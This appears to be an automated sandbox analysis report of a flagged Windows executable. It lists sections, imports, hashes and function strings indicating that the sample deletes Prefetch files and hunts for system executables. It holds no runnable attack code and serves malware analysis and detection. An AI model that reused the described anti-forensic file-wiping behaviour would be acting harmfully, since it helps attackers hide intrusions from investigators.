.bss	0x9000	0x980	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa000	0x1484	0x1600	330adc7b7bdaffaa69ed6c2f9b740555	False	0.2702414772727273	PGP symmetric key encrypted data - Plaintext or unencrypted data	4.510574065804716	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0xc000	0x68	0x200	ecd52873df11312502a6cff23fbbe7cb	False	0.068359375	data	0.2694448386073115	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xd000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
/4	0xe000	0x50	0x200	bbc92d299452795933a0d3c230f03e71	False	0.0703125	data	0.2123006574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/19	0xf000	0x1f08	0x2000	90ce22180dd119967abbc40756bbdae3	False	0.4593505859375	data	5.822398830664757	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/31	0x11000	0x149	0x200	5d291f74219487bffd06356d36f3a0e4	False	0.375	data	3.2872917906726884	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/45	0x12000	0x222	0x400	a9361b8d8e0473c697dea2bf351914e5	False	0.287109375	data	3.226557686933141	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/57	0x13000	0x48	0x200	0af43945309a635e21b34a9759bc09bc	False	0.119140625	data	0.6853378241542495	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/70	0x14000	0x9b	0x200	406b70665a5983d1f1682455c669f732	False	0.259765625	data	2.320780444544343	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
libgcc_s_seh-1.dll	_Unwind_Resume
KERNEL32.dll	CloseHandle, CreateToolhelp32Snapshot, DeleteCriticalSection, DeleteFileA, DeleteFileW, EnterCriticalSection, FindClose, FindFirstFileA, FindFirstFileW, FindNextFileA, FindNextFileW, GetConsoleWindow, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetLastError, GetStartupInfoA, GetSystemTimeAsFileTime, GetTickCount, InitializeCriticalSection, LeaveCriticalSection, MoveFileA, OpenProcess, Process32First, Process32Next, QueryPerformanceCounter, RtlAddFunctionTable, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, SetUnhandledExceptionFilter, Sleep, TerminateProcess, TlsGetValue, UnhandledExceptionFilter, VirtualProtect, VirtualQuery
msvcrt.dll	__C_specific_handler, __getmainargs, __initenv, __iob_func, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _cexit, _errno, _fmode, _initterm, _onexit, abort, calloc, exit, fprintf, free, fwrite, getenv, malloc, memcpy, signal, strcmp, strlen, strncmp, system, vfprintf
libwinpthread-1.dll	nanosleep
USER32.dll	ShowWindow
libstdc++-6.dll	_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv, _ZNKSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE5c_strEv, _ZNSaIcEC1Ev, _ZNSaIcED1Ev, _ZNSaIwEC1Ev, _ZNSaIwED1Ev, _ZNSolsEPFRSoS_E, _ZNSolsEm, _ZNSt13basic_ostreamIwSt11char_traitsIwEElsEPFRS2_S3_E, _ZNSt13basic_ostreamIwSt11char_traitsIwEElsEm, _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6appendEPKc, _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6appendERKS4_, _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6insertEyRKS4_, _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EOS4_, _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_, _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1ERKS4_, _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev, _ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE6appendEPKw, _ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEEC1EOS4_, _ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEEC1EPKwRKS3_, _ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEEC1ERKS4_, _ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEED1Ev, _ZNSt8ios_base4InitC1Ev, _ZNSt8ios_base4InitD1Ev, _ZSt4cerr, _ZSt4cout, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_, _ZSt4endlIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_, _ZSt5wcerr, _ZSt5wcout, _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc, _ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE, _ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_, _ZStlsIwSt11char_traitsIwESaIwEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE, __gxx_personality_seh0

Target ID:	0
Start time:	12:37:06
Start date:	13/10/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe"
Imagebase:	0x400000
File size:	94'378 bytes
MD5 hash:	9BB41DD377BD7E4F5CE55360442DF5FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	12:37:06
Start date:	13/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00401C0A Relevance: 100.0, APIs: 45, Strings: 12, Instructions: 263COMMON

Download Yara Rule

APIs

_ZNSaIcEC1Ev.LIBSTDC++-6 ref: 00401C27
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_.LIBSTDC++-6 ref: 00401C47
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401C56
_ZNSaIcEC1Ev.LIBSTDC++-6 ref: 00401C71
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_.LIBSTDC++-6 ref: 00401C8A
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401C99
_ZNSaIcEC1Ev.LIBSTDC++-6 ref: 00401CB0
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_.LIBSTDC++-6 ref: 00401CC9
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401CD8
_ZNSaIcEC1Ev.LIBSTDC++-6 ref: 00401CEF
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_.LIBSTDC++-6 ref: 00401D08
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401D17
_ZNSaIcEC1Ev.LIBSTDC++-6 ref: 00401D2E
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_.LIBSTDC++-6 ref: 00401D47
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401D56
_ZNSaIcEC1Ev.LIBSTDC++-6 ref: 00401D6D
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_.LIBSTDC++-6 ref: 00401D86
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401D95
_ZNSaIcEC1Ev.LIBSTDC++-6 ref: 00401DAC
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_.LIBSTDC++-6 ref: 00401DC5
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401DD4
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv.LIBSTDC++-6 ref: 00401E74
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401E9D
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401EAC
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401EBB
_ZNSaIcEC1Ev.LIBSTDC++-6 ref: 00401ED8
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_.LIBSTDC++-6 ref: 00401EF6
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401F05
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401F4B
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 00401F5E
_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE.LIBSTDC++-6 ref: 00401F6D
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 00401F7C
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv.LIBSTDC++-6 ref: 00401F88
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 00401FB0
_ZNSolsEm.LIBSTDC++-6 ref: 00401FC6
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 00401FD5
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 00401FEA
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 00401FF9
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00402005
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00402011
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 0040205E
_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE.LIBSTDC++-6 ref: 00402080
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 0040208F
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 004020C1
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 004020D2

Part of subcall function 004047D0: _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6appendEPKc.LIBSTDC++-6(?,?,00000000,?,00401E34), ref: 00404805

Part of subcall function 00404730: _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EOS4_.LIBSTDC++-6(?,?,?,00401E4D), ref: 00404763

Strings

RECDISC.EXE, xrefs: 00401CFE
Erro ao excluir arquivo: , xrefs: 00401FA2
HOST.EXE, xrefs: 00401C80
*.pf, xrefs: 00401E5B
CMD.EXE, xrefs: 00401CBF
PACKAGESUPPORT.EXE, xrefs: 00401DBB
@+@, xrefs: 00401F72, 00401FCB, 00401FEF, 00402085
USEROOBEBROKERSUPPORT.EXE, xrefs: 00401D3D
Arquivo excludo permanentemente com sucesso., xrefs: 00401FDC
C:\Windows\Prefetch, xrefs: 00401C3D
Excluindo arquivo: , xrefs: 00401F50
FINAL.EXE, xrefs: 00401D7C

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traits$St7__cxx1112basic_string$St13basic_ostreamStls$Sols$E5c_str$E6append
String ID: *.pf$@+@$Arquivo excludo permanentemente com sucesso.$C:\Windows\Prefetch$CMD.EXE$Erro ao excluir arquivo: $Excluindo arquivo: $FINAL.EXE$HOST.EXE$PACKAGESUPPORT.EXE$RECDISC.EXE$USEROOBEBROKERSUPPORT.EXE
API String ID: 1972311771-2832513093
Opcode ID: d3b6ae83e3492dad6d269a81236528c03c47d35f42706ddbbc4e68b576c22f30
Instruction ID: 9ce1445f92c27798e9221ba333ae9079cc9bd61414b890e0d252646e6146b4de
Opcode Fuzzy Hash: d3b6ae83e3492dad6d269a81236528c03c47d35f42706ddbbc4e68b576c22f30
Instruction Fuzzy Hash: 1AB11EA5711B8199DF24EF62D9993D92365E749788F80043BDE0D2B7AAEF78D209C304

Function 00402402 Relevance: 42.2, APIs: 17, Strings: 7, Instructions: 168COMMON

Download Yara Rule

APIs

_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_.LIBSTDC++-6 ref: 004024A0
_ZStlsIwSt11char_traitsIwESaIwEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE.LIBSTDC++-6 ref: 004024AF
_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_.LIBSTDC++-6 ref: 004024BE
_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEm.LIBSTDC++-6 ref: 004024CE
_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEPFRS2_S3_E.LIBSTDC++-6 ref: 004024DD
_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_.LIBSTDC++-6 ref: 004024F9
_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEPFRS2_S3_E.LIBSTDC++-6 ref: 00402508
_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEED1Ev.LIBSTDC++-6 ref: 00402571
_ZNKSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE5c_strEv.LIBSTDC++-6 ref: 004025F4
_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_.LIBSTDC++-6 ref: 0040261C
_ZStlsIwSt11char_traitsIwESaIwEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE.LIBSTDC++-6 ref: 0040262B
_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEPFRS2_S3_E.LIBSTDC++-6 ref: 0040263A
_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_.LIBSTDC++-6 ref: 00402665
_ZStlsIwSt11char_traitsIwESaIwEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE.LIBSTDC++-6 ref: 00402674
_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_.LIBSTDC++-6 ref: 00402683
_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEPFRS2_S3_E.LIBSTDC++-6 ref: 004026A2
_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEED1Ev.LIBSTDC++-6 ref: 004026AE

Strings

File deleted: , xrefs: 0040260E
Failed to list directory: , xrefs: 00402492
Found file with matching size: , xrefs: 004025BC
Access denied. Try running the program as an administrator., xrefs: 004024EB
. Error code: , xrefs: 004024B4, 00402679
8+@, xrefs: 004024D3, 004024FE, 004025DE, 00402630, 00402698
Failed to delete file: , xrefs: 00402657

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traits$St13basic_ostream$Stls$St7__cxx1112basic_string$E5c_str
String ID: . Error code: $8+@$Access denied. Try running the program as an administrator.$Failed to delete file: $Failed to list directory: $File deleted: $Found file with matching size:
API String ID: 3518476356-549602617
Opcode ID: ee79b9d7a6042670c8d062d230f798f178dbab94b27eba837a5c160633078f48
Instruction ID: d922bb924e37476cf89c04d5721ebc5e10c08758b4089bf166699a034a97622e
Opcode Fuzzy Hash: ee79b9d7a6042670c8d062d230f798f178dbab94b27eba837a5c160633078f48
Instruction Fuzzy Hash: BE7138A570278199DF20EF66E9983D93375B745788F80403ADE0E6B7A9EE7CD604C348

Function 00401180 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 198sleepstringCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 004011E1
SetUnhandledExceptionFilter.KERNEL32 ref: 00401253
malloc.MSVCRT ref: 00401329
strlen.MSVCRT ref: 00401354
malloc.MSVCRT ref: 00401360
memcpy.MSVCRT ref: 00401378
_cexit.MSVCRT ref: 004013E5
GetStartupInfoA.KERNEL32 ref: 00401473

Strings

f@, xrefs: 0040122C

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled_cexitmemcpystrlen
String ID: f@
API String ID: 1640792405-2188841539
Opcode ID: 03ba75cef82b244bf61cd7a22d29eae890f771a011eb972ba866ee2fbbf7219d
Instruction ID: f35bfe232a19247ae567412f603ff7d09f2699018ec7880888ebd86a6580ae9c
Opcode Fuzzy Hash: 03ba75cef82b244bf61cd7a22d29eae890f771a011eb972ba866ee2fbbf7219d
Instruction Fuzzy Hash: 76818DB570074485EB24AF66E89176A37A1B789B88F84803BDF09777A2DF3DC855C708

Function 00402DE0 Relevance: 12.0, APIs: 8, Instructions: 50COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00402DF4
RtlLookupFunctionEntry.KERNEL32 ref: 00402E0B
RtlVirtualUnwind.KERNEL32 ref: 00402E4D
SetUnhandledExceptionFilter.KERNEL32 ref: 00402E91
UnhandledExceptionFilter.KERNEL32 ref: 00402E9E
GetCurrentProcess.KERNEL32 ref: 00402EA4
TerminateProcess.KERNEL32 ref: 00402EB2
abort.MSVCRT ref: 00402EB8

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentEntryFunctionLookupTerminateUnwindVirtualabort
String ID:
API String ID: 4278921479-0
Opcode ID: 7690e9587b1de6796aaf625fd33fc39efd7a00d029df7a98383ccd7c158c7119
Instruction ID: ffebc86457f6d15fb4a23e08bcde2663fe83d3844f0214caa6621db56ceee363
Opcode Fuzzy Hash: 7690e9587b1de6796aaf625fd33fc39efd7a00d029df7a98383ccd7c158c7119
Instruction Fuzzy Hash: 862120B5210F01D5EB009B62FC8838933B8B708B88F548126DB4E67765EF38C969C708

Function 00402D00 Relevance: 7.6, APIs: 5, Instructions: 56timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00402D45
GetCurrentProcessId.KERNEL32 ref: 00402D50
GetCurrentThreadId.KERNEL32 ref: 00402D59
GetTickCount.KERNEL32 ref: 00402D61
QueryPerformanceCounter.KERNEL32 ref: 00402D6E

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 10d32f3c92807aa5ee95b943a83efee88a9677720e6474e895d977e9babc08dc
Instruction ID: 5286665e26946c3750862c43bd987087ccd42cd4d5cff3479d1d9c2635ca8092
Opcode Fuzzy Hash: 10d32f3c92807aa5ee95b943a83efee88a9677720e6474e895d977e9babc08dc
Instruction Fuzzy Hash: CA119E6A726B5086FB118B25FC0831A72A0F7487B1F4807319F9C537E4DA7CC895C708

Function 0040A50C Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a363b1726339ff0c6a72082def7f54a592cab468382794fbe97ddbba63b032d
Instruction ID: 6a3eaf2c485bf417f6888fee9b6f676ac877bf80970f779191b15018495f6bc8
Opcode Fuzzy Hash: 3a363b1726339ff0c6a72082def7f54a592cab468382794fbe97ddbba63b032d
Instruction Fuzzy Hash: A701768B40E3C01AE7079A345C252493F3296D6958B8EC5DBC7D0C3697D54C985EA763

Function 00404259 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

